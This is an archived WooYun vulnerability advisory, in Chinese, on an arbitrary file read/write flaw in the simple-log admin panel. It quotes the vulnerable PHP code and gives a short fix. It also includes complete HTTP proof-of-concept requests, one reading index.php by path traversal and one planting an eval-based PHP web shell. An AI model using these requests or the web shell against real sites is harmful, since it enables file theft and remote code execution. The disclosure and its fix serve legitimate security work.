当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021232

漏洞标题:simple-log后台任意文件读写漏洞

相关厂商:simple-log

漏洞作者: 风眼哥

提交时间:2013-04-04 22:14

修复时间:2013-07-03 22:14

公开时间:2013-07-03 22:14

漏洞类型:任意文件遍历/下载

危害等级:低

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-07-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

simple-log在后台某处没有对参数进行检查导致任意文件读写产生

详细说明:

在/admin/includes/set_page.php中:
产生读任意文件的地方:

elseif ($action=='get_page_data')
{
require(PBBLOG_ROOT . '/includes/json.class.php');
$json = new JSON;
$file=$_POST['template_file'];
$res=array('type'=>'get_page_data','content'=>'','error'=>'no');
$data=file_get_contents(PBBLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file);
$res['content']=$data;
die($json->encode($res));
}


$_POST['template_file']被传给了$file然后直接字符串拼接进入file_get_contents中导致读任意文件漏洞的产生
产生写任意文件的地方:

elseif ($action=='act_set_page')
{
$data=htmlspecialchars_decode(stripslashes($_POST['data']));
$file=$_POST['template_file'];
$fp=@fopen(PBBLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file,"w") or die('can not open file');
flock($fp,LOCK_EX);
fwrite($fp,$data);
fclose($fp);
clear_tpl();
sys_message('页面修改成功','admin.php?act=set_footer&file='.$file);
}


同理也是
$_POST['template_file']被传给了$file然后直接字符串拼接进入file_get_contents中导致写任意文件漏洞的产生

漏洞证明:

读index.php文件

POST /simple-log/admin/admin.php?act=get_page_data HTTP/1.1
Host: xxx
User-Agent: xxx
Accept: application/json, text/javascript, */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://xxx/simple-log/admin/admin.php?act=set_footer&file=blog.html
Content-Length: 23
Cookie: xxx
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
template_file=../index.php


写一句话到根目录下shell.php

POST /simple-log/admin/admin.php?act=act_set_page HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://target.com/simple-log/admin/admin.php?act=set_footer
Cookie: CNZZDATA1702264=cnzz_eid%3D1919140847-1364978684-http%253A%252F%252F192.168.189.134%26ntime%3D1364978684%26cnzz_a%3D5%26retime%3D1364978721191%26sin%3Dnone%26ltime%3D1364978721191%26rtime%3D0; PHPSESSID=ic36fuhn6urslbfb8dom2ml936; T3_lang=zh-cn
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 155
template_file=../../shell.php&data=%3C%3Fphp%0D%0A%40eval%28%24_POST%5B%27test%27%5D%29%3B%0D%0A%3F%3E&type=set_footer&file=footer.html&button=%E4%BF%AE%E6%94%B9

修复方案:

对传入的变量进行检查,不允许..存在

版权声明:转载请注明来源 风眼哥@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:6 (WooYun评价)